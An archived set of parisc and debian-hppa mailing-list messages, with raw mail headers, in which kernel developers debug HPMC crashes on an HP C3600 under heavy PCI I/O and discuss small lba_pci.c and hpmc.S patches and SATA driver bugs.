Can you maybe try to localize where in the drivers/ata/sata_via.c driver
triggers the HPMC ?


--- arch/parisc/kernel/hpmc.S	2018-01-28 22:20:33.000000000 +0100
+++ arch/parisc/kernel/hpmc.S	2018-03-15 14:13:46.611969815 +0100
@@ -308,4 +290,5 @@
 	.align 4
 	.export os_hpmc_size
 os_hpmc_size:
-	.word .os_hpmc_end-.os_hpmc
+	/* .word .os_hpmc_end-.os_hpmc */
+	.word (.os_hpmc_end - .os_hpmc) * 4 /* sizeof(u32) */

This one seems wrong.
I think you just didn't hit a HPMC with your first patch, and as such
this patch has no influence...

Helge



From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Sat, 17 Mar 2018 17:12:37 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com> <20180317113655.GA30572@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521304087 21013 195.159.176.226 (17 Mar 2018 16:28:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 16:28:07 +0000 (UTC)
Cc: Carlo Pisani <carlojpisani@gmail.com>, debian-hppa@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Mar 17 17:28:03 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1exEgd-0005Ma-9h
	for debian-hppa@m.gmane.org; Sat, 17 Mar 2018 17:28:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 88F91E8; Sat, 17 Mar 2018 16:30:10 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Mar 17 16:30:10 2018
Old-Return-Path: <grantgrundler@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id A145BF1
	for <lists-debian-hppa@bendel.debian.org>; Sat, 17 Mar 2018 16:13:01 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=0.321 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	MURPHY_DRUGS_REL8=0.02, NORMAL_HTTP_TO_IP=2.3,
	RCVD_IN_DNSWL_NONE=-0.0001] autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id yMjqpMvywCCU for <lists-debian-hppa@bendel.debian.org>;
	Sat, 17 Mar 2018 16:12:56 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-lf0-x243.google.com (mail-lf0-x243.google.com [IPv6:2a00:1450:4010:c07::243])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 15E38F2
	for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 16:12:41 +0000 (UTC)
Original-Received: by mail-lf0-x243.google.com with SMTP id f75-v6so19583624lfg.6
        for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 09:12:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=2DDaQJIGGCVtUGN4fnugNSUemBip+6fB+fCdaxdhmxc=;
        b=GOgsFRSpDQTAV/s9OYJiii7kl14y3/if7CjqwXCAn7fws6Mpg3IZc8QNj/7l/pJNJ8
         KNwtMjPq6zjye9iTDCfWzyznQ9+sWSMoBZmOBvUsf+EWhA/AsWCog68f/GwHoD9ASMH7
         zev3w2BCUJg8zWdtVW2Vy5m7EAj6fTX7BDjknXsXujSN3XcVWSGnJ8v8J1GdAk5SwUSg
         43r0oUgw+7NeL+OcPJ/nEoCUyPPyzDiZ5W+uwKKXsa/gcfPX2J4K2TMTYdJm45WT+OjG
         +ubAli5qYSgjkb0ysNr7yDZaQxLv8/zFe3o4GyGY3EisdUMgJFfHXq7JLTHpaxfoR7S5
         xPPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=2DDaQJIGGCVtUGN4fnugNSUemBip+6fB+fCdaxdhmxc=;
        b=fg6ASwPjGLX5zsUsUfbj3SqstdpLYeHwY1VQnmFNHZSsvuoK7Yh2G8IFUaOzCda+PM
         zwEIrkBNL19s1VFOMPWiZLvMXyFYpK5w3EjzXwwuywDi0UODjdEtF2OnhwqicF+83jXq
         pXL27S+ZjPm+2T9595Pzk36PULtf9FXMkrnsDQ8TFR7EE4FTaPKNQhdKLLMdFdTgPFQk
         88u/0iqi++DQE9B/1UAZqsdCcYmAFzvPezVSG+LNaKxVGe8DumQwPAYTYcEf0wZM9CW1
         u2xj8hbvjjyuNaI2oVb1Ncd6Dzm/kHuZ1ng7Ar6i7oY0FKIODSzfyk1MhGOA95hxOeLg
         RW5g==
X-Gm-Message-State: AElRT7F3Udu9OMD4AsbMjFhk4tP8TKOTroKqg59+QwbRJbqFlih684Z4
	25u3AAf+jmaoO+lVkiOoG9YcSgvkjlBOveyw8dY=
X-Google-Smtp-Source: AG47ELuIYUqNcju6gLYHXniopDL4OveDNo8jz86SSG4eK8sM6/FJSEcNvlsKl6rvISDIViVT7Q1zl9WgLvw2mZdAJIk=
X-Received: by 10.46.23.70 with SMTP id l67mr3925210lje.132.1521303158055;
 Sat, 17 Mar 2018 09:12:38 -0700 (PDT)
Original-Received: by 2002:a19:1b8f:0:0:0:0:0 with HTTP; Sat, 17 Mar 2018 09:12:37
 -0700 (PDT)
In-Reply-To: <20180317113655.GA30572@ls3530.fritz.box>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <LeF9IRsZvoJ.A.QlD.SKUraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8677
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com
Resent-Date: Sat, 17 Mar 2018 16:30:10 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7693 gmane.linux.ports.parisc:28340
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7693>

Hi Helge,
just a nit on PCI terminology...

On Sat, Mar 17, 2018 at 12:36 PM, Helge Deller <deller@gmx.de> wrote:
> * Carlo Pisani <carlojpisani@gmail.com>:
>> I have created and applied the following patch
>> testing the kernel with heavy I/O seems now stable
>>
>> my C3600 is still under testing, moving chunks of 500Mbyte and compiling gcc-v6
>>
>>
>> http://93.55.217.0//wonderland/chunk_of/user/ivelegacy/happa-dev/hppa2_0001_HPMC_fix_my_v1.patch
>
> --- drivers/parisc/lba_pci.c    2018-01-28 22:20:33.000000000 +0100
> +++ drivers/parisc/lba_pci.c    2018-03-15 12:26:44.839894952 +0100
> @@ -1405,7 +1405,7 @@
>
>         /* Set HF mode as the default (vs. -1 mode). */
>          stat = READ_REG32(d->hba.base_addr + LBA_STAT_CTL);
> -       WRITE_REG32(stat | HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
> +       WRITE_REG32(stat & ~HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
>
>         /*
>         ** Writing a zero to STAT_CTL.rf (bit 0) will clear reset signal
>
> That's the patch from Kyle:
> https://www.spinics.net/lists/linux-parisc/msg01027.html
>
> which comes out of this mail thread:
> https://www.spinics.net/lists/linux-parisc/msg01024.html
> specifically with those notes:
> https://www.spinics.net/lists/linux-parisc/msg01026.html
>
> Citing here:
> "bus timeout" usually means we tried to read an address that doesn't
> respond. that is, nothing on the bus accepted the transaction for it,
> so it timed out and HPMC'd the box.

HF= Hard Fail on PCI "Master Abort".  "Master Abort" means the MMIO
transaction timed out - usually due to the device not responding to an
MMIO read.   We normally want HF to be enabled as you noted below in
order to get state of the CPU and which IO device it was trying to
access.

It's possible the "~0L" returned in SoftFail mode is being handled by
the driver OR the particular read that fails just doesn't matter.
Would have to see dmesg output if the driver ever complains about
invalid MMIO read data (~0L).

cheers,
grant

> what you really need is the IIR, and the address it tried to access
> (both the kernel vaddr which will be in the register, and the "system
> requester address" from the hpmc dump which will be the physical address
> mapped.
>
> not sure why the hpmc handler is getting skipped, that's a little weird.
>
> you can try hacking elroy to set softfail mode on that bus, which will
> result in a timeout on the pci bus to return -1 (like what x86 and most
> other architectures do) rather than hang the box, but it really likely
> means a driver bug.
>
>
>
> So, you change LBA to return -1 instead of faulting via HPMC which is
> of course one work-around to avoid the HPMC.
>
> But could you try to check the driver instead?
>
> You run this SATA controller:
> 01:05.0 RAID bus controller: VIA Technologies, Inc. VT6421 IDE RAID
>
> Can you maybe try to localize where in the drivers/ata/sata_via.c driver
> triggers the HPMC ?
>
>
> --- arch/parisc/kernel/hpmc.S   2018-01-28 22:20:33.000000000 +0100
> +++ arch/parisc/kernel/hpmc.S   2018-03-15 14:13:46.611969815 +0100
> @@ -308,4 +290,5 @@
>         .align 4
>         .export os_hpmc_size
>  os_hpmc_size:
> -       .word .os_hpmc_end-.os_hpmc
> +       /* .word .os_hpmc_end-.os_hpmc */
> +       .word (.os_hpmc_end - .os_hpmc) * 4 /* sizeof(u32) */
>
> This one seems wrong.
> I think you just didn't hit a HPMC with your first patch, and as such
> this patch has no influence...
>
> Helge
>



From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Sat, 17 Mar 2018 18:05:20 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <CAP6odjhVVjutLY73QeCq+vjvUE1StmTBB50s_m5SN1Ad7OBD5Q@mail.gmail.com>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box> <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
 <CA+QBN9Bd69whK14_0jT0m=5F4i2FxNPyEbMv3mgUsox9pX3fKA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521307157 30141 195.159.176.226 (17 Mar 2018 17:19:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 17:19:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Carlo Pisani <carlojpisani@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Mar 17 18:19:13 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1exFU7-0007jQ-TO
	for debian-hppa@m.gmane.org; Sat, 17 Mar 2018 18:19:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 3D166E4; Sat, 17 Mar 2018 17:21:19 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Mar 17 17:21:19 2018
Old-Return-Path: <grantgrundler@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id B6112F2
	for <lists-debian-hppa@bendel.debian.org>; Sat, 17 Mar 2018 17:05:29 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-2.699 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id I2iQ0v-P5EOZ for <lists-debian-hppa@bendel.debian.org>;
	Sat, 17 Mar 2018 17:05:24 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-lf0-x230.google.com (mail-lf0-x230.google.com [IPv6:2a00:1450:4010:c07::230])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 6C9DFF1
	for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 17:05:24 +0000 (UTC)
Original-Received: by mail-lf0-x230.google.com with SMTP id y2-v6so17576673lfc.5
        for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 10:05:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=rZ+9YprXK11BcSSjhmgvNi+9kSI8c1onHOHLBkdBxME=;
        b=EVx8ThUoi6TwaBj900zrmow8G8xwMNjleU2vO0asuvf6+xB43+I8SkE1IE5WC5lEFw
         qA4tLy3DxkMuJSW6WzGGJaJ19y+RYW0aA9T3f2mMTEWuo7DVxHVq78qJ3kCwDt1ZfTXb
         NXsvdSOM6M1BgdaEWTEr3HHd4RxZWuLLn8D8KTNOayB2uXxSqpJA7f9byRmcqylxNx8h
         OKZfHeIb2dO7Xb2dECZcks7ys/uyK7zO75R20jTwC06q7IUW+Bk0ZLGxXe4FVq+PDUeX
         aRTqtZNJQJycbhLse01Kjte78luUaUSpu/PwO01sFC+bzv08fQBvWC57nJ29BElEjjwN
         3jrg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=rZ+9YprXK11BcSSjhmgvNi+9kSI8c1onHOHLBkdBxME=;
        b=FXoqVMsrsbmY3fLwlL9HN+EnuMDlthy89Usv+pycEjqo2AwBNBB/A1Aj/WbEg5DjBv
         xTaFmsCDUFye5W0cd3ROSf9Fc+r07c6J+o0VLgfpb89p23CqC5ufu5ZCmQInyFXDDO7v
         1G5zd89nNjzZR+PaMk4iO/ni7Ta2fH5v6rN0JQwdzcRnYgonM7Nx7Bt/1CByWUrNy+fZ
         spMDEAyCL6j6E65Y42xKEAPrid9Dw06R1dspaBnIvBwol5hoi8HxuvvRC5pcbf1UBV8k
         mn3tAL/UjsBFei7+/EEBjtYNddI2MqTe856vEeX4ZCDwKhMABocgX9Cit8fKylS1fPu3
         fDpg==
X-Gm-Message-State: AElRT7EZdMPQ19EhfAH3cA1zTYdFfv6JQ6S3IcbdsoY+YcVwvYhgYJUo
	bFyloMbTPI8jtw9RSTtnRTfU5ODzA7o9dSMCN7I=
X-Google-Smtp-Source: AG47ELt5uErZLl1hEWjuIbt5Z887dgBuAitH5LxY50yqS5jr6UyRC0nlMTgY8kMbsT1VTbKg71XEBL2co1SAfOCtMbU=
X-Received: by 2002:a19:4350:: with SMTP id m16-v6mr2446033lfj.73.1521306321460;
 Sat, 17 Mar 2018 10:05:21 -0700 (PDT)
Original-Received: by 2002:a19:1b8f:0:0:0:0:0 with HTTP; Sat, 17 Mar 2018 10:05:20
 -0700 (PDT)
In-Reply-To: <CA+QBN9Bd69whK14_0jT0m=5F4i2FxNPyEbMv3mgUsox9pX3fKA@mail.gmail.com>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <gd0NYwuFKYL.A.NmC.P6UraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8678
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAP6odjhVVjutLY73QeCq+vjvUE1StmTBB50s_m5SN1Ad7OBD5Q@mail.gmail.com
Resent-Date: Sat, 17 Mar 2018 17:21:19 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7694 gmane.linux.ports.parisc:28341
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7694>

[adding lists back to CC since this is a public discussion]

On Sat, Mar 17, 2018 at 5:36 PM, Carlo Pisani <carlojpisani@gmail.com> wrote:
>> Would have to see dmesg output if the driver ever complains about
>> invalid MMIO read data (~0L).
>
> I repeat AGAIN
>
> I have tested different sATA controllers
> - via6421
> - SIL24
> - Adaptex 2410

Ah sorry - I missed that.

> none of them has never complained in dmesg ( i have the console
> redirected the serial port )

Thanks for confirming Carlo!

Having worked on mv7042 and SIL3124 (IIRC) driver support for almost 4
years, I can tell you most SATA drivers suck. Helge is most likely
correct that this is due to a SATA driver bug. Since Intel x86 (32 or
64bit) systems ONLY support "SoftFail" mode, many driver issues are
never exposed until something gets corrupted or HW totally wedges.

> and all of them showed the same behavior under heavy I/O

While the symptom (HPMC) looks the same, the details are likely
different for each card. It's been over 10 years but ISTR that "SER
PIM" command when entered at boot prompt will dump those details. Ah,
yes, that's correct:
   https://parisc.wiki.kernel.org/index.php/How_to_report_a_parisc-linux_kernel_problem#HPMC


BTW, HPMCs can also be due to devices DMAing to an invalid address
since the IOMMU is "strict" and requires all DMA be "mapped". IIRC,
these DMA failures are "imprecise events" meaning SER PIM is the only
way to determine what the target DMA address was. This is non-trivial
stuff to debug since it requires pretty deep understanding of the SATA
controller operations and how the driver works.

> the C3600 machine stops to work, and I see errors in the LCD
> without a line from the kernel on the serial console

Yes, HPMC due to IO errors (including DMA failures and PCI Master
Abort) will lock up all other IO including the serial console. SER PIM
is the only output that will lead to diagnosing the underlying driver
bug.

But in SoftFail mode, I was hoping one of the drivers might complain
about "invalid value" - but that is likely way too optimistic on my
part. The only drivers that look for ~0L on MMIO read are the ones
that support PCI hotplug (e.g. PCMCIA devices and some higher end PCI
IO devices which target data center/server market).

cheers,
grant

ps. I haven't looked at mvsata or sil3124 SATA controller code since
2010. But if you could find a MV7042 PCI (or PCI-X?) SATA controller,
I have more faith in that driver/HW combination partly because I
tested it pretty thoroughly at the time.



From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Sat, 17 Mar 2018 13:47:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <b2fd86ec-a83a-5133-fa66-29229595851c@bell.net>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box>
 <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521308754 5702 195.159.176.226 (17 Mar 2018 17:45:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 17:45:54 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Carlo Pisani <carlojpisani@gmail.com>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>, Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Mar 17 18:45:50 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1exFts-0001Om-Vm
	for debian-hppa@m.gmane.org; Sat, 17 Mar 2018 18:45:49 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 2D2A7F4; Sat, 17 Mar 2018 17:47:56 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Mar 17 17:47:56 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id DFC96F2
	for <lists-debian-hppa@bendel.debian.org>; Sat, 17 Mar 2018 17:47:47 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.609 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, T_RP_MATCHES_RCVD=-0.01,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id v1JCZR9RmLRg for <lists-debian-hppa@bendel.debian.org>;
	Sat, 17 Mar 2018 17:47:42 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id A1772F4
	for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 17:47:42 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180317174738.GCRX4484.mtlfep02.bell.net@mtlspm02.bell.net>
          for <debian-hppa@lists.debian.org>;
          Sat, 17 Mar 2018 13:47:38 -0400
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by mtlspm02.bell.net
          with ESMTP
          id <20180317174738.MYBQ6415.mtlspm02.bell.net@[192.168.2.49]>;
          Sat, 17 Mar 2018 13:47:38 -0400
In-Reply-To: <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=LMmlAZ9KAWrMV0Lb_kMA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <RF-IWkiQC7.A.jhG.MTVraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8679
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/b2fd86ec-a83a-5133-fa66-29229595851c@bell.net
Resent-Date: Sat, 17 Mar 2018 17:47:56 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7695 gmane.linux.ports.parisc:28342
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7695>

Hi Grant,

On 2018-03-17 12:12 PM, Grant Grundler wrote:
> "Master Abort" means the MMIO
> transaction timed out - usually due to the device not responding to an
> MMIO read.
In lba_pci.c and sba_iommu.c, it says "BE WARNED: register writes are 
posted" and need
to be followed by a read.  It seems there are a some routines in these 
modules that have
writes that aren't followed by a read.  One is lba_wr_cfg(). Another 
might be the macro
LBA_CFG_RESTORE().  Are these okay?

It seems probable that the problem that Carlo is having is a conflict 
between devices.

Dave


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Aw: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Sun, 18 Mar 2018 09:31:41 -0400
Lines: 116
Approved: news@gmane.org
Message-ID: <bb7defc8-c53e-7842-a847-a4d792e634de@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
 <e3b11e2e-490a-5882-2bfa-a199ae4a2634@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521379799 11587 195.159.176.226 (18 Mar 2018 13:29:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 18 Mar 2018 13:29:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
